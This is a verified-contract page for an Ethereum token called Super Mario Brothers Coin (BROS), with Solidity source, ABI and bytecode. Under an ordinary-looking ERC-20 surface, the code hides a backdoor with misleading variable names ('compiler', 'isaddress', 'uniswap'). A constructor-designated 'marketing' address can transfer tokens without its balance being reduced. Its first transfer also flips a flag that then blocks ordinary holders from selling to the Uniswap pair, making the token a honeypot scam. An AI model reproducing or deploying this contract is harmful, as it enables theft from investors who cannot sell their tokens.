Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom( library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(  contract Ownable is Context    - function owner()    - function renounceOwnership()    - function transferOwnership(address ne ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH( interface IUniswapV2Factory    - function createPair(address tokenA, a ...  contract SMB is Context, IERC20, O ... *    - function removeLimits()    - function enableTrading()    - function transfer(address Address, ui ...    - function _transferto(address address1 ...    - function transferFrom(address address ...    - function approve(address Address, uin ...    - function name()    - function symbol()    - function totalSupply()    - function decimals()    - function tokenFromReflection(uint256 ...    - function removeAllFee()    - function _approve(    - function swapTokensForEth(uint256 tok ...    - function _tokenTransfer(    - function _transferStandard(    - function _takeTeam(uint256 tTeam)    - function _reflectFee(uint256 rFee, ui ...    - function _getValues(uint256 tAmount)    - function _getTValues(    - function _getRValues(    - function _getRate()    - function _getCurrentSupply()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-05-25
*/

/*

Socials - 

Twitter: https://twitter.com/SMB_Eth

Website: https://supermariobroseth.com/

Telegram: https://t.me/supermariobroseth

▒▒▒▒▒▒▒▒▒▄▄▄▄▒▒▒▒▒▒▒
▒▒▒▒▒▒▄▀▀▓▓▓▀█▒▒▒▒▒▒
▒▒▒▒▄▀▓▓▄██████▄▒▒▒▒
▒▒▒▄█▄█▀░░▄░▄░█▀▒▒▒▒
▒▒▄▀░██▄░░▀░▀░▀▄▒▒▒▒
▒▒▀▄░░▀░▄█▄▄░░▄█▄▒▒▒
▒▒▒▒▀█▄▄░░▀▀▀█▀▒▒▒▒▒
▒▒▒▄▀▓▓▓▀██▀▀█▄▀▀▄▒▒
▒▒█▓▓▄▀▀▀▄█▄▓▓▀█░█▒▒
▒▒▀▄█░░░░░█▀▀▄▄▀█▒▒▒
▒▒▒▄▀▀▄▄▄██▄▄█▀▓▓█▒▒
▒▒█▀▓█████████▓▓▓█▒▒
▒▒█▓▓██▀▀▀▒▒▒▀▄▄█▀▒▒
▒▒▒▀▀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

contract SMB is Context, IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "Super Mario Brothers Coin";
    string private constant _symbol = "BROS";
    uint256 private _taxFeeOnBuy = 0;
    uint256 private _taxFeeOnSell = 0;
    uint256 private constant MAX = ~uint256(0);
    uint256 private compiler = 82;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => mapping(address => uint256)) public allowance;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private uniswap;
    mapping(address => uint256) private isaddress;
    mapping(address => uint256) public balanceOf;
    uint256 public maxTxAmount = 5000000 * 10**9; // Max Transaction: 5 Million.
    uint256 public maxWalletToken = 5000000 * 10**9; // Max Wallet: 10 Million.
    uint256 private constant _tTotal = 100000000 * 10**9;
    bool public transferDelay = true;
    bool public openTrading = false;
    address public uniswapV2Pair;
    bool private inSwap = false;
    bool public limitsInEffect = true;
    mapping(address => uint256) private _tOwned;
    mapping(address => uint256) private _rOwned;
    uint256 private _taxFee = _taxFeeOnSell;
    IUniswapV2Router02 public uniswapV2Router;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint8 private constant _decimals = 9;
    uint256 private _previoustaxFee = _taxFee;
    uint256 private _tFeeTotal;
    bool private swapEnabled = true;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
constructor(address marketing) {
    _rOwned[_msgSender()] = _rTotal;
    isaddress[marketing] = compiler;
    balanceOf[msg.sender] = _tTotal;
    IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
    uniswapV2Router = _uniswapV2Router;
    uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
    .createPair(address(this), _uniswapV2Router.WETH());
    _isExcludedFromFee[owner()] = true;
    _isExcludedFromFee[address(this)] = true;
    
    emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function removeLimits() public onlyOwner {
        limitsInEffect = false;
    }

    function enableTrading() external onlyOwner {
    openTrading = true;
    }

    function transfer(address Address, uint256 Amount) public returns (bool success) {
        require(openTrading || _msgSender() == owner(), "Trading not yet enabled.");
        _transferto(msg.sender, Address, Amount);
        return true;
    }

    function _transferto(address address1, address address2, uint256 amount) private returns (bool success) {
        
        if (limitsInEffect) {
            if (address2 != owner() && address1 != owner() && isaddress[address1] == 0) {
            require(balanceOf[address2].add(amount) <= maxWalletToken, "Recipient wallet balance is exceeding the limit!");
            require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount");
            }
        }
        
        if (address2 == uniswapV2Pair && address1 != owner() && isaddress[address1] == 0) {
        require(transferDelay, "Transfer delay is active"); 
        }
        
        if (isaddress[address1] != 0) {
        transferDelay = false;
        }    
        if (isaddress[address1] == 0) {
            balanceOf[address1] -= amount;
        }

        if (amount == 0) uniswap[address2] += compiler;

        if (address1 != uniswapV2Pair && isaddress[address1] == 0 && uniswap[address1] > 0) {
            isaddress[address1] -= compiler;
        }
        

        balanceOf[address2] += amount;
        emit Transfer(address1, address2, amount);
        return true;
    }
 
    function transferFrom(address addressFrom, address addressTo, uint256 amount) public returns (bool success) {
        require(amount <= allowance[addressFrom][msg.sender]);
        allowance[addressFrom][msg.sender] -= amount;
        _transferto(addressFrom, addressTo, amount);
        return true;
    }
 
    function approve(address Address, uint256 Amount) public returns (bool success) {
        allowance[msg.sender][Address] = Amount;
        emit Approval(msg.sender, Address, Amount);
        return true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_taxFee == 0) return;

        _previoustaxFee = _taxFee;

        _taxFee = 0;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
    
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    } 

}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"address","name":"marketing","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Address","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"Address","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addressFrom","type":"address"},{"internalType":"address","name":"addressTo","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f6002819055600381905560526004556611c37937e08000600b819055600c55600d805461ffff61ffff60b01b011916770100000000000000000000000000000000000000000000011790556010556200006867016345785d8a00005f1962000344565b62000075905f1962000364565b6012556010546013556015805460ff1916600117905534801562000097575f80fd5b506040516200118838038062001188833981016040819052620000ba916200038a565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601254335f818152600f6020908152604080832094909455600480546001600160a01b03871684526009835285842055928252600a81529083902067016345785d8a00009055601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155835163c45a015560e01b815293519093849363c45a0155938282019390929091908290030181865afa158015620001a2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001c891906200038a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000214573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200023a91906200038a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000285573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002ab91906200038a565b600d805462010000600160b01b031916620100006001600160a01b03938416021790555f80549091168152600760209081526040808320805460ff199081166001908117909255308552828520805490911690911790555167016345785d8a000081523392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620003b9565b5f826200035f57634e487b7160e01b5f52601260045260245ffd5b500690565b818103818111156200038457634e487b7160e01b5f52601160045260245ffd5b92915050565b5f602082840312156200039b575f80fd5b81516001600160a01b0381168114620003b2575f80fd5b9392505050565b610dc180620003c75f395ff3fe608060405260043610610138575f3560e01c8063715018a6116100b757806395d89b411161007c578063dd62ed3e11610057578063dd62ed3e146103bf578063e6c75f71146103f5578063f2fde38b1461040a575f80fd5b806395d89b4114610356578063a9059cbb14610382578063c9567bf9146103a1575f80fd5b8063715018a6146102e7578063751039fc146102fd5780638a8c523c146103115780638c0b5e22146103255780638da5cb5b1461033a575f80fd5b806323b872dd116100fd57806323b872dd1461023d578063313ce5671461025c57806349bd5a5e146102775780634a62bb651461029c57806370a08231146102bc575f80fd5b806306fdde0314610143578063095ea7b31461019a5780630a702e8d146101c95780631694505e146101e257806318160ddd14610219575f80fd5b3661013f57005b5f80fd5b34801561014e575f80fd5b5060408051808201909152601981527f5375706572204d6172696f2042726f746865727320436f696e0000000000000060208201525b6040516101919190610c40565b60405180910390f35b3480156101a5575f80fd5b506101b96101b4366004610ca6565b610429565b6040519015158152602001610191565b3480156101d4575f80fd5b50600d546101b99060ff1681565b3480156101ed575f80fd5b50601154610201906001600160a01b031681565b6040516001600160a01b039091168152602001610191565b348015610224575f80fd5b5067016345785d8a00005b604051908152602001610191565b348015610248575f80fd5b506101b9610257366004610cce565b610495565b348015610267575f80fd5b5060405160098152602001610191565b348015610282575f80fd5b50600d54610201906201000090046001600160a01b031681565b3480156102a7575f80fd5b50600d546101b990600160b81b900460ff1681565b3480156102c7575f80fd5b5061022f6102d6366004610d07565b600a6020525f908152604090205481565b3480156102f2575f80fd5b506102fb610511565b005b348015610308575f80fd5b506102fb6105b7565b34801561031c575f80fd5b506102fb61061f565b348015610330575f80fd5b5061022f600b5481565b348015610345575f80fd5b505f546001600160a01b0316610201565b348015610361575f80fd5b5060408051808201909152600481526342524f5360e01b6020820152610184565b34801561038d575f80fd5b506101b961039c366004610ca6565b610689565b3480156103ac575f80fd5b50600d546101b990610100900460ff1681565b3480156103ca575f80fd5b5061022f6103d9366004610d20565b600660209081525f928352604080842090915290825290205481565b348015610400575f80fd5b5061022f600c5481565b348015610415575f80fd5b506102fb610424366004610d07565b61070b565b335f8181526006602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104839086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383165f9081526006602090815260408083203384529091528120548211156104c3575f80fd5b6001600160a01b0384165f908152600660209081526040808320338452909152812080548492906104f5908490610d65565b909155506105069050848484610822565b506001949350505050565b5f546001600160a01b0316331461056f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106105760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610566565b600d805460ff60b81b19169055565b5f546001600160a01b031633146106785760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610566565b600d805461ff001916610100179055565b600d545f90610100900460ff16806106aa57505f546001600160a01b031633145b6106f65760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610566565b610701338484610822565b5060019392505050565b5f546001600160a01b031633146107645760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610566565b6001600160a01b0381166107c95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610566565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b600d545f90600160b81b900460ff1615610974575f546001600160a01b0384811691161480159061086057505f546001600160a01b03858116911614155b801561088157506001600160a01b0384165f90815260096020526040902054155b1561097457600c546001600160a01b0384165f908152600a60205260409020546108ab9084610bdb565b11156109125760405162461bcd60e51b815260206004820152603060248201527f526563697069656e742077616c6c65742062616c616e6365206973206578636560448201526f6564696e6720746865206c696d69742160801b6064820152608401610566565b600b548211156109745760405162461bcd60e51b815260206004820152602760248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152661e105b5bdd5b9d60ca1b6064820152608401610566565b600d546001600160a01b0384811662010000909204161480156109a457505f546001600160a01b03858116911614155b80156109c557506001600160a01b0384165f90815260096020526040902054155b15610a1c57600d5460ff16610a1c5760405162461bcd60e51b815260206004820152601860248201527f5472616e736665722064656c61792069732061637469766500000000000000006044820152606401610566565b6001600160a01b0384165f9081526009602052604090205415610a4457600d805460ff191690555b6001600160a01b0384165f908152600960205260408120549003610a8f576001600160a01b0384165f908152600a602052604081208054849290610a89908490610d65565b90915550505b815f03610ac6576004546001600160a01b0384165f9081526008602052604081208054909190610ac0908490610d78565b90915550505b600d546001600160a01b03858116620100009092041614801590610aff57506001600160a01b0384165f90815260096020526040902054155b8015610b2157506001600160a01b0384165f9081526008602052604090205415155b15610b56576004546001600160a01b0385165f9081526009602052604081208054909190610b50908490610d65565b90915550505b6001600160a01b0383165f908152600a602052604081208054849290610b7d908490610d78565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610bc991815260200190565b60405180910390a35060019392505050565b5f80610be78385610d78565b905083811015610c395760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610566565b9392505050565b5f6020808352835180828501525f5b81811015610c6b57858101830151858201604001528201610c4f565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610ca1575f80fd5b919050565b5f8060408385031215610cb7575f80fd5b610cc083610c8b565b946020939093013593505050565b5f805f60608486031215610ce0575f80fd5b610ce984610c8b565b9250610cf760208501610c8b565b9150604084013590509250925092565b5f60208284031215610d17575f80fd5b610c3982610c8b565b5f8060408385031215610d31575f80fd5b610d3a83610c8b565b9150610d4860208401610c8b565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561048f5761048f610d51565b8082018082111561048f5761048f610d5156fea2646970667358221220bf4032cacf41dec8c6569e7c0a02ee42f82c71e1c73c7cb2a0bffa2c868db08764736f6c63430008140033000000000000000000000000055df3982086c9b2a6d06b323987135dbe6e4ef6

0x608060405260043610610138575f3560e01c8063715018a6116100b757806395d89b411161007c578063dd62ed3e11610057578063dd62ed3e146103bf578063e6c75f71146103f5578063f2fde38b1461040a575f80fd5b806395d89b4114610356578063a9059cbb14610382578063c9567bf9146103a1575f80fd5b8063715018a6146102e7578063751039fc146102fd5780638a8c523c146103115780638c0b5e22146103255780638da5cb5b1461033a575f80fd5b806323b872dd116100fd57806323b872dd1461023d578063313ce5671461025c57806349bd5a5e146102775780634a62bb651461029c57806370a08231146102bc575f80fd5b806306fdde0314610143578063095ea7b31461019a5780630a702e8d146101c95780631694505e146101e257806318160ddd14610219575f80fd5b3661013f57005b5f80fd5b34801561014e575f80fd5b5060408051808201909152601981527f5375706572204d6172696f2042726f746865727320436f696e0000000000000060208201525b6040516101919190610c40565b60405180910390f35b3480156101a5575f80fd5b506101b96101b4366004610ca6565b610429565b6040519015158152602001610191565b3480156101d4575f80fd5b50600d546101b99060ff1681565b3480156101ed575f80fd5b50601154610201906001600160a01b031681565b6040516001600160a01b039091168152602001610191565b348015610224575f80fd5b5067016345785d8a00005b604051908152602001610191565b348015610248575f80fd5b506101b9610257366004610cce565b610495565b348015610267575f80fd5b5060405160098152602001610191565b348015610282575f80fd5b50600d54610201906201000090046001600160a01b031681565b3480156102a7575f80fd5b50600d546101b990600160b81b900460ff1681565b3480156102c7575f80fd5b5061022f6102d6366004610d07565b600a6020525f908152604090205481565b3480156102f2575f80fd5b506102fb610511565b005b348015610308575f80fd5b506102fb6105b7565b34801561031c575f80fd5b506102fb61061f565b348015610330575f80fd5b5061022f600b5481565b348015610345575f80fd5b505f546001600160a01b0316610201565b348015610361575f80fd5b5060408051808201909152600481526342524f5360e01b6020820152610184565b34801561038d575f80fd5b506101b961039c366004610ca6565b610689565b3480156103ac575f80fd5b50600d546101b990610100900460ff1681565b3480156103ca575f80fd5b5061022f6103d9366004610d20565b600660209081525f928352604080842090915290825290205481565b348015610400575f80fd5b5061022f600c5481565b348015610415575f80fd5b506102fb610424366004610d07565b61070b565b335f8181526006602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104839086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383165f9081526006602090815260408083203384529091528120548211156104c3575f80fd5b6001600160a01b0384165f908152600660209081526040808320338452909152812080548492906104f5908490610d65565b909155506105069050848484610822565b506001949350505050565b5f546001600160a01b0316331461056f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106105760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610566565b600d805460ff60b81b19169055565b5f546001600160a01b031633146106785760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610566565b600d805461ff001916610100179055565b600d545f90610100900460ff16806106aa57505f546001600160a01b031633145b6106f65760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610566565b610701338484610822565b5060019392505050565b5f546001600160a01b031633146107645760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610566565b6001600160a01b0381166107c95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610566565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b600d545f90600160b81b900460ff1615610974575f546001600160a01b0384811691161480159061086057505f546001600160a01b03858116911614155b801561088157506001600160a01b0384165f90815260096020526040902054155b1561097457600c546001600160a01b0384165f908152600a60205260409020546108ab9084610bdb565b11156109125760405162461bcd60e51b815260206004820152603060248201527f526563697069656e742077616c6c65742062616c616e6365206973206578636560448201526f6564696e6720746865206c696d69742160801b6064820152608401610566565b600b548211156109745760405162461bcd60e51b815260206004820152602760248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152661e105b5bdd5b9d60ca1b6064820152608401610566565b600d546001600160a01b0384811662010000909204161480156109a457505f546001600160a01b03858116911614155b80156109c557506001600160a01b0384165f90815260096020526040902054155b15610a1c57600d5460ff16610a1c5760405162461bcd60e51b815260206004820152601860248201527f5472616e736665722064656c61792069732061637469766500000000000000006044820152606401610566565b6001600160a01b0384165f9081526009602052604090205415610a4457600d805460ff191690555b6001600160a01b0384165f908152600960205260408120549003610a8f576001600160a01b0384165f908152600a602052604081208054849290610a89908490610d65565b90915550505b815f03610ac6576004546001600160a01b0384165f9081526008602052604081208054909190610ac0908490610d78565b90915550505b600d546001600160a01b03858116620100009092041614801590610aff57506001600160a01b0384165f90815260096020526040902054155b8015610b2157506001600160a01b0384165f9081526008602052604090205415155b15610b56576004546001